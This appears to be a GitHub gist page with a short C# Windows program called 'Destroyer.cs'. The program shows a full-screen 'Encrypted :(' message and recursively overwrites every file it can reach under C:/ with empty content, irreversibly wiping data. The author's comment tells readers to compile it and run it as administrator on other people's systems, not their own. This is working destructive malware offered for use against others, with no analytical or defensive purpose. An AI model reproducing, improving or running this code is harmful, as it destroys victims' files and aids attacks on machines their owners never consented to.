Skip to content

Instantly share code, notes, and snippets.

@mtarek2005
Created February 21, 2021 09:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mtarek2005/9ab32fae3660cae4bf41327024d80cad to your computer and use it in GitHub Desktop.
Save mtarek2005/9ab32fae3660cae4bf41327024d80cad to your computer and use it in GitHub Desktop.
using System;
using System.IO;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
class g:Form{
public Label button1;
g(){
FormBorderStyle = FormBorderStyle.None;
WindowState = FormWindowState.Maximized;
button1 = new Label();
button1.AutoSize = true;
button1.Location = new Point(0, 0);
button1.Text = "Encrypted :(";
button1.Font=new Font("Arial", 72);
this.Controls.Add(button1);
Enc("C:/");
}
static void Main(){
Application.EnableVisualStyles();
Application.Run(new g());
}
static void Enc(string p){
if(Directory.Exists(p)){
foreach(string f in Directory.GetFiles(p)){
try{File.WriteAllText(f,"");}catch(Exception e){continue;}
}
foreach(string d in Directory.GetDirectories(p)){
try{Enc(d);}catch(Exception e){continue;}
}
}
}
}
@mtarek2005
Copy link
Author

mtarek2005 commented Feb 21, 2021

Destroyer.cs

compile and destroy

DON'T use on ur own system
use on others' systems Run As Administrator
compile as winexe
Compiled exe: bb.exe

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment